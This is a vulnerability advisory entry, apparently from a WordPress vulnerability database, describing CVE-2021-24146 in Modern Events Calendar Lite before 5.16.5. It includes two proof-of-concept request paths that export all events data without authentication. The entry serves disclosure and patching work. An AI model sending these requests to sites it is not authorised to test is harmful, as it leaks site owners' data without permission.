WordPress Plugin Vulnerabilities

Modern Events Calendar Lite < 5.16.5 - Unauthenticated Events Export

Description

The plugin did not properly restrict access to the export files, allowing unauthenticated users to exports all events data in CSV or XML format for example.

Proof of Concept

https://drive.google.com/file/d/1lLEXDyPp4LcKoCOqYS7A-0Yg_pIQD-ND/view?usp=sharing

/wp-admin/admin.php?page=MEC-ix&tab=MEC-export&mec-ix-action=export-events&format=csv
/wp-admin/admin.php?page=MEC-ix&tab=MEC-export&mec-ix-action=export-events&format=xml

Affects Plugins

Plugin icon
modern-events-calendar-lite
Fixed in 5.16.5

References

CVE
CVE-2021-24146

Classification

Type
ACCESS CONTROLS
OWASP top 10
A5: Broken Access Control
CWE
CWE-284
CVSS
5.3 (medium)

Miscellaneous

Original Researcher
Nguyen Van Khanh - SunCSR (Sun* Cyber Security Research)
Submitter
khanh
Submitter website
http://research.sun-asterisk.com/
Verified
Yes
WPVDB ID
c7b1ebd6-3050-4725-9c87-0ea525f8fecc

Timeline

Publicly Published
2021-01-29 (about 3 years ago)
Added
2021-01-29 (about 3 years ago)
Last Updated
2021-01-31 (about 3 years ago)

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